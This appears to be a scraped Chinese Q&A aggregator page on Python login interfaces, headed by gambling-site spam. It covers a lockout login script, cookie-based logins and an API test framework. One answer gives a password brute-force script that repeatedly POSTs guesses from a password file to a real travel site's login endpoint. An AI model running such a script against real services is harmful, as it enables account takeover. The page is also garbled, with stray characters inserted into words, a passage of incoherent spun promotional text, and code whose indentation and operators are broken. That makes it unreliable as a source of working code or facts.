當前位置:九游会j9娱乐平台-九游ag登录中心网址 » 編程語言 » python登錄介面

python登錄介面-九游会j9娱乐平台

發布時間: 2024-06-27 14:48:19

python3怎麼才能實現當用戶輸入錯誤類型

python 循環和file操作實現用戶密碼輸錯三次將用戶鎖定
一、需求
編寫登錄介面
1.輸入用戶名密碼
2.認證成功後顯示歡迎信息
3.輸錯三次後鎖定
二、簡單思路
登錄,三次密碼輸入錯誤鎖定用戶
1.用戶信息文件:存放用戶名和密碼
2.黑名單文件:將輸入三次錯誤的用戶加入此名單,加入此名單的用戶將不允許登錄
三、具體實現
第一步:在黑名單里檢測是否有此用戶,如果有則不讓登錄
第二步:用戶名和密碼判定
代碼如下:
#!/usr/bin/env python3
count = 0 #記錄用戶輸入密碼的次數
flag = 1 #標志位
lock = []
user_pass = []
username = input('please input your name:')
#讀取黑名單的內容
f = open('black_mingdan','r')
lock_file = f.readlines()
f.close()
#將黑名單文件內容作為列表元素追加到列表中
for i in lock_file:
line = i.strip('\n')
lock.append(line)
#若輸入的用戶名在黑名單中,如果在則給出提示信息:用戶已經被鎖定,請聯系管理員。
if username in lock:
print('user %s have been locked.it is not allow to login,please contact administrator.' %username)
else:
#輸入的用戶名不在黑名單中,則提示用戶輸入密碼信息
while true:
count = 1
passwd = input("please input your password:")
f = open('user_information','r')
user_file = f.readlines()
f.close()
for i in user_file:
user_pass = i.strip().split()
#判斷輸入的用戶名==user_pass[0] and 密碼==user_pass[1],如果相等,則提示歡迎信息並退出循環,如果不相等則
#結束本次循環
if username == user_pass[0] and passwd == user_pass[1]:
print('welcome user %s login !' %username)
flag = true
break
else:
continue
#若flag為真,則用戶名和密碼輸入正確跳出整個循環體,反之,若用戶輸入密碼錯誤的次數為3,則給出提示信息:用戶已經被鎖定
#並將username追加到黑名單中
if flag is true:
break
else:
if count == 3:
print('user have been try 3 times,have been locked')
lock_file = open('black_mingdan','a')
#lock_file.write('have been locked user:%s\n' %username)
lock_file.write('%s\n' %username)
lock_file.close()
break
程序執行結果如下:
[root] python3 denglu.py
please input your name:zhangsan
please input your password:123
welcome user zhangsan login !
[root]# python3 denglu.py
please input your name:zhangsan
please input your password:098
please input your password:678
please input your password:543
user have been try 3 times,have been locked
[root]# python3 denglu.py
please input your name:zhangsan
user zhangsan have been locked.it is not allow to login,please contact administrator.
[root]# cat black_mingdan
zhangsan

⑵ python測試介面時需要登錄怎麼解決

有些網頁需要你登錄之後才可以訪問,你需要提供賬戶和密碼。

只要在發送http請求時,帶上含有正常登陸的cookie就可以了。

1.首先我們要先了解cookie的工作原理。

cookie是由伺服器端生成,發送給user-agent(一般是瀏喚皮覽器),瀏覽器會將cookie的key/value保存到某個目錄下的文本文件內,下次請求同一網站時就發送該cookie給伺服器(前提是瀏覽器設置為啟用cookie)。cookie名稱和值可以由伺服器端開發自己定義,對於jsp而言也可以直接寫入jsessionid,這樣伺服器可以知道該用戶是否合法用戶以及是否需要重新登錄等。

2.之後我們要獲取和塵差到用戶正常登錄的cookie.

python提供了cookiejar的庫,只要兄拍把cookiejar的實例作為參數傳到urllib2的一個opener裡面。

然後訪問一次登錄的頁面,cookie就已經保存下來了。之後通過這個實例訪問所有的頁面都帶有正常登陸的cookie了。

以人人網為例子。

python代碼

  • #encoding=utf-8

  • importurllib2

  • importurllib

  • importcookielib

  • defrenrenbrower(url,user,password):

  • #登陸頁面,可以通過抓包工具分析獲得,如fiddler,wireshark

  • login_page="hlogin.do"

  • try:

  • #獲得一個cookiejar實例

  • cj=cookielib.cookiejar()

  • #cookiejar作為參數,獲得一個opener的實例

  • opener=urllib2.build_opener(urllib2.httpcookieprocessor(cj))

  • #偽裝成一個正常的瀏覽器,避免有些web伺服器拒絕訪問。

  • opener.addheaders=[('user-agent','mozilla/4.0(compatible;msie6.0;windowsnt5.1)')]

  • #生成post數據,含有登陸用戶名密碼。

  • data=urllib.urlencode({"email":user,"password":password})

  • #以post的方法訪問登陸頁面,訪問之後cookiejar會自定保存cookie

  • opener.open(login_page,data)

  • #以帶cookie的方式訪問頁面

  • op=opener.open(url)

  • #讀取頁面源碼

  • data=op.read()

  • returndata

  • exceptexception,e:

  • printstr(e)

  • #訪問某用戶的個人主頁,其實這已經實現了人人網的簽到功能。

  • printrenrenbrower("httm/home","用戶名","密碼")

⑶ python怎麼做介面測試工具

之前使用過urllib和urllib2做介面測試,在做的途中,感覺使用urllib2直接進行的get,post 請求並沒有那麼好用。作為測試人員,所需要的測試工具應當以方便為第一要務,測試的耗時只要是真正的無人值守,耗時不是太久的都可以接受。所以,本人又嘗試了一個新的包:requests。

requests 是用python語言編寫,基於 urllib,採用 apache2 licensed 開源協議的 http 庫。它比 urllib 更加方便,可以節約我們大量的工作,完全滿足 http 測試需求。requests 的哲學是以 pep 20 的習語為中心開發的,所以它比 urllib 更加 pythoner。更重要的一點是它支持 python3 !推薦一篇文章,上面有該包的詳細說明傳送門,以下只會寫到我用到的部分,所以更多的了解需要自己去搜資料

好了,我們開始吧!!

介面測試中重要的部分:

1.get和post方法

2.用到的參數

3.請求頭

4.cookie

5.日誌輸出

6.如何調試你的程序--藉助fiddler

按照以上的順序,我將一一說明我的搞法,因為編碼能力有限,所以可能看著很low

一、get和post

requests包很好的實現了post和get方法,示例:

1 import requests2 response_get = requests.get(url, data, headers, cookies)3 response_post = requests.post(url, data, headers, cookies)

其他的訪問方式如put,head等等,用法幾乎都是如此,因為沒用到,所以省略

現在一般的介面返回值有頁面和json倆種,按照需求,可以分別使用response.text或者response.content獲取,text獲取的是unicode類型的返回值,而content返回值是str類型,所以我一般使用content來獲取返回值,因為這樣獲取的返回值可以直接使用正則或者in的方式來驗證返回值結果是否正確。

我自己為了實現介面的自動訪問,所以又在requests上面加了一層封裝,就像下面這樣:

三、cookie

一款產品的介面測試中必定會使用登錄狀態,需要使用cookie實現,之前寫過使用cookiejar獲取cookie,requests中獲取cookie的方法更為簡單,不過首先你得知道是哪個介面set了cookie,不過一般是登錄啦。登錄介面訪問之後set了cookie,那好,就去調用登錄介面,然後拿到搞回來的cookie:

# 只需要這樣!!login = requests.post(login_url, data=login_data, headers=login_header)
cookie = login.cookies

這個cookie就是登錄狀態了,拿著隨便用,需要登錄的就直接cookies=cookies

四、日誌輸出

這里注意看第二步中介面數據,有介面描述,也有介面是啥,第一步中又把content做成返回值了,具體拼接方式自己想吧,東西全有了,想寫啥寫啥,還可以加上獲取本地時間的api獲取介面運行時間,log文件該長啥樣是門學問,這里就不獻丑了。

五、借用fiddler調試你的腳本

requests允許使用代理訪問,這有啥用,真有!fiddler是一款截包改包的工具,而且通過擴展可以進行請求間的比對,這樣讓你的程序訪問的請求和真正正確的請求作對比,為啥我的程序訪問出錯?是不是缺了請求頭?參數是不是丟了?cookie是不是少了?很容易看出來。寫法如下:

proxies = { "http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"}
requests.post(url, proxies=proxies)

這樣就可以走代理了,除fiddler以外還有charles和burp suite可以使用,具體看個人喜好吧。

⑷ 如何創建 python requests介面自動化測試框架

工作原理: 測試用例在excel上編輯,使用第三方庫xlrd,讀取表格sheet和內容,sheetname對應模塊名,jenkins集成服務發現服務molename查找對應表單,運用第三方庫requests請求介面,根據結果和期望值進行斷言,根據輸出報告判斷介面測試是否通過。
1. 數據准備
數據插入(容易實現的測試場景下所需外部數據)
准備sql (介面需要重復使用,參數一定得是變數)
2.集成部署(運維相關了解即可)
平滑升級驗證腳本加入自動化
3.自動化框架實現
調用mysql
excel遍歷測試用例
requests實現介面調用
根據介面返回的code值和excel對比
報告反饋
暴露服務
寫一個簡單登錄的介面自動化測試
代碼的分層如下圖:
coding.png
一、寫一個封裝的獲取excel表格的模塊
excel.png
代碼實現如下:
# !/usr/bin/python
# -*- coding: utf-8 -*-
# 基礎包:excel的封裝
import xlrd
workbook = none
def open_excel(path):
"""打開excel"""
global workbook
if (workbook == none):
workbook = xlrd.open_workbook(path, on_demand=true)
def get_sheet(sheetname):
"""獲取行號"""
global workbook
return workbook.sheet_by_name(sheetname)
def get_rows(sheet):
"""獲取行號"""
return sheet.nrows
def get_content(sheet, row, col):
"""獲取表格中內容"""
return sheet.cell(row, col).value
def release(path):
"""釋放excel減少內存"""
global workbook
workbook.release_resources()
del workbook
代碼封裝後當成模塊引用,這還是最開始呢。
二、引用log模塊獲取日誌
准備工作:
需要一個日誌的捕獲,包括框架和源碼拋出的expection。
代碼如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# 基礎包:日誌服務
import logging
import time
def getlogger():
global tezlogpath
try:
tezlogpath
except nameerror:
tezlogpath = "/data/log/apitest/"
format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
# file = tezlogpath time.strftime("%y-%m-%d", time.localtime()) ".log"
# logging.basicconfig(filename=file, level=logging.info, format=format)
# 開發階段為了方便調試,可不輸出到文件
logging.basicconfig(level=logging.info, format=format)
return logging
三、引用requests模塊介面測試
准備工作:
需要的請求類型和執行測試的方法。
代碼如下:
#!/usr/bin/python#
#-*- coding: utf-8 -*-
# 基礎包:介面測試的封裝
import requests
import tezlog as log
logging = log.getlogger()
def api_test(method, url, data ,headers):
"""
定義一個請求介面的方法和需要的參數
:args:
method - 企業名稱 str
url - 用戶昵稱 str
data - 參數 str
headers - 請求頭信息 dict
非restful api請求另外的請求類型實際用不到。也不安全。
"""
try:
if method == "post":
results = requests.post(url, data, headers=headers)
if method == "get":
results = requests.get(url, data, headers=headers)
# if method == "put":
# results = requests.put(url, data, headers=headers)
# if method == "delete":
# results = requests.delete(url, headers=headers)
# if method == "patch":
# results == requests.patch(url, data, headers=headers)
# if method == "options":
# results == requests.options(url, headers=headers)
response = results.json()
code = response.get("code")
return code
except exception, e:
logging.error("service is error", e)
def run_test(sheet):
"""
定義一個執行和斷言的方法
:args:
sheet - 服務名稱 str(excel頁腳名稱識別的)
"""
rows = excel.getrows(sheet)
fail = 0
for i in range(2, rows):
#這里為什麼從第二行開始跑,因為會先執行sql進行數據准備如之前excel展示的空白位置
testdata = excel.getcontent(sheet, i, gl.case_data)
testurl = excel.getcontent(sheet, i, gl.case_url)
testmethod = excel.getcontent(sheet, i, gl.case_method)
testheaders = eval(excel.getcontent(sheet, i, gl.case_headers))
testcode = excel.getcontent(sheet, i, gl.case_code)
actualcode = request.apitest(testmethod, testurl, testdata, testheaders)
expectcode = str(int(testcode))
failresults = ' url: ' testurl ' params: ' testdata ' actualcode: ' actualcode ' expectcode: ' expectcode
if actualcode == expectcode:
logging.info("pass")
elif actualcode != expectcode:
logging.info("fail %s", failresults)
fail = 1
if fail > 0 :
return false
return true
四、關於參數中gl模塊
准備工作:
所有的參數和常量我們會整理到這個文件中,因為設計業務和服務密碼、資料庫密碼這里展示一部分。
代碼如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# 腳本功能:全部變數
import time
import uuid
case_number = 0 # 用例編號
case_name = 1 # 用例名稱
case_data = 2 # 用例參數
case_url = 3 # 用例介面地址
case_method = 4 # 用例請求類型
case_code = 5 # 用例code
case_headers = 6 # 用例headers
sql_row = 0 # 預執行sql的行號
sql_col = 1 # 預執行sql的列號
五、寫一個run文件:只是用來執行的,業務和代碼剝離。
代碼如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# 驗證包:介面測試腳本
import sys
import core.tezlog as log
import function.common as common
logging = log.getlogger()
"""1.外部輸入參數"""
path = sys.path[0] # 當前路徑
mole = sys.argv[1] # 服務模塊名
url = sys.argv[2] # 服務地址
host = sys.argv[3] # 資料庫地址
user = sys.argv[4] # 資料庫用戶名
password = sys.argv[5] # 資料庫密碼
db = sys.argv[6] # 資料庫名稱
"""2.根據mole獲取sheet"""
logging.info("-------------- execute testcases ---------------")
sheet = common.get_excel_sheet(path "/" common.filename, mole)
"""3.數據准備"""
logging.info("-------------- prepare data through mysqldb --------------")
sql = common.get_prepare_sql(sheet)
common.prepare_data(host=host, user=user, password=password, db=db, sql=sql)
"""4.執行測試用例"""
res = common.run(sheet, url)
logging.info("-------------- get the result ------------ %s", res)
"""這里的res是我們平滑升級的時候需要返回結果為true才會繼續下面走。"""
六、查看測試報告(部署到jenkins會通過控制台查看)

⑸ 如何用python寫一個不斷嘗試密碼達到網址登陸成功的源碼!

'''
# 提取登錄介面,觀察登錄失敗特徵,根據密碼txt不停嘗試,若返回結果沒有失敗特徵就表示成功
#(不保險的話,可以將所有嘗試結果記錄下來,人為判斷)
# 以藝龍登錄介面為例:https://secure.elong.com/passport/ajax/elonglogin
# 失敗特徵:介面返回內容包含"success":false
'''
import requests

# 把登錄介面、頭部、請求參數、密碼按列讀取為列表,都定義好
loginurl = 'https://secure.elong.com/passport/ajax/elonglogin'
header = {"content-type": "application/x-www-form-urlencoded"}
postdata = {"username":"name","passwd":""}
with open('密碼.txt','r') as file:
pwdlist = file.readlines()

# 循環更新密碼並發送請求,判斷返回內容是否包含失敗特徵
for pwd in pwdlist:
postdata["passwd"]=pwd
response=requests.request(method='post',url=loginurl,data=postdata,headers=header)
resdata = response.text
print resdata
# find()返回-1時表示沒找到失敗特徵
if resdata.find('"success":false') == -1:
print '正確密碼是:{}'.format(pwd)
break

⑹ python介面登陸超時

python介面登陸超時解決方法如下:
1、利用python實現介面登陸超時,可以利用python實現介面調用,讀取登陸信息,實現超時時間設置,當超時時間到達時,重新調用介面登陸。
2、利用python實現定時任務,可以利用python實現定時任務,定時調用介面,檢查登陸信息,如果登陸信息超時,則重新登陸。
3、利用python實現主動超時檢測,可以利用python實現客戶端輪詢,定時調用介面,檢查登陸信息,如果登陸信息超時,則重新登陸。
python是一種強大而完全可擴展的編程語言,可以用來開發大型且復雜的應用程序。python提供了一系列介面,這些介面可以幫助開發者編寫高效和可維護的代碼。

⑺ python調用微博api的place介面出現10014錯誤,怎麼解決

一:獲取app-key 和 app-secret

使用自己的微博賬號登錄微博開放平台(http://open.weibo.com/),在微博開放中心下「創建應用」創建一個應用,應用信息那些隨便填,填寫完畢後,不需要提交審核,需要的只是那個app-key和app-secret

二:設置授權回調頁


⑻ python怎麼獲取需要登陸的介面的數據

使用python做爬蟲是很廣泛的應用場景,那就涉及到了python是如何獲取介面數據的呢?python擁有很多很強大的類庫,使用urllib即可輕松獲取介面返回的數據。
...展開
工具原料python開發工具url介面,用於請求獲取數據
方法/步驟分步閱讀
1
/4
首先新建一個py文件,導入所需的類庫,urllib,json等。
2
/4
聲明api的url地址,和構造請求頭。
3
/4
使用urlopen方法發起請求並獲取返回的數據。
4
/4
最後就是對返回字元串的處理了。比如字元串的截取,字元串的轉換成json對象,轉換成欄位,再獲取對應key的值。
使用python3實現http get方法。使用聚合數據的應用編程介面,你可以調用小發貓ai寫作api。這是一個免費的應用程序介面,先上代碼,詳細說明寫在後面:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
import re
se = requests.session()

if __name__ == '__main__':
post_url = "http://api-ok.xiaofamao.com/api.php?json=0&v=1&key=xxxxxx" #自己想辦法弄到key
post_data = {
'wenzhang': '床前明月光,疑是地上霜。'
}
text = se.post(post_url, data=post_data).text.replace("'", '"').replace('/ ', '/')
print(text)

首先,什麼是原料葯?應用編程介面的全稱也稱為應用編程介面。它簡稱為應用編程介面。當我第一次接觸介面調用時,我不知道寫什麼,因為我看了整個項目。這個項目是由龍卷風寫的。看了半天龍卷風後,我發現我走錯了方向。我只是直接看著界面,因為沒有人告訴我項目的整個過程。我不得不強迫自己去看它。我所要做的就是找到程序的主入口,然後根據函數一步一步地調用它。
當我編寫介面時,因為我必須配合後台編寫和瀏覽器訪問,每次訪問只需要傳入相應的參數來調用相應的介面。界面可以由他人編寫,也可以由合作公司提供。當然,合作公司提供的不是免費的。現在基本上,如果我不訪問它一次,它只收費幾美分。當你聽到這些,不要低估這幾分。有時候如果你打了幾百萬次電話,會花很多錢。有些人認為,我們不能按月付款嗎?對不起,我不知道。總之,我們一個接一個地計算,因為第一次,我認為我買的那些直接買了我們想要的所有數據,把它們保存在本地資料庫中,當我使用它們時,直接從我自己的資料庫中轉移它們。後來,我發現我想得太多了,偽原創api。
該介面調用由python的請求庫訪問,它基本上是一個get或post請求。有些介面是加密的,然後我們必須用另一方提供給我們的公鑰加密或解密,然後用相應的參數訪問。我們想要的數據基本上是在請求後返回的結果中以json格式解析的。因此,在請求之後,我們可以用請求提供的json函數來解析它,然後提取數據以一次訪問一個數據。
沒錯,介面調用就是這么簡單,但是有了後台編寫,我才發現請求庫現在有多強大,只要它是http或https,我很高興我在一周內讀完了請求和bs4,我真的不打電話給爬蟲工程師,如果我是爬蟲的時候不學習請求,你能用scrapy寫4=dead來寫它嗎?urllib的單詞基本上被刪除了。如果你有要求,為什麼要用這個?

熱點內容
phpjava交互 發布:2024-07-17 16:58:57 瀏覽:356
resin下jsp不能正常編譯 發布:2024-07-17 16:34:44 瀏覽:229
sqlserver如何切換主備伺服器 發布:2024-07-17 16:23:02 瀏覽:299
mc18伺服器ip 發布:2024-07-17 16:23:02 瀏覽:379
仙境傳說手游腳本 發布:2024-07-17 16:09:24 瀏覽:691
matlab命令窗口和新建腳本 發布:2024-07-17 15:51:26 瀏覽:375
建ftp文件夾 發布:2024-07-17 15:51:26 瀏覽:955
魔獸撿物腳本 發布:2024-07-17 15:27:56 瀏覽:130
開發ip伺服器 發布:2024-07-17 15:24:42 瀏覽:388
安卓系統視頻製作哪個好用 發布:2024-07-17 15:10:47 瀏覽:210
网站地图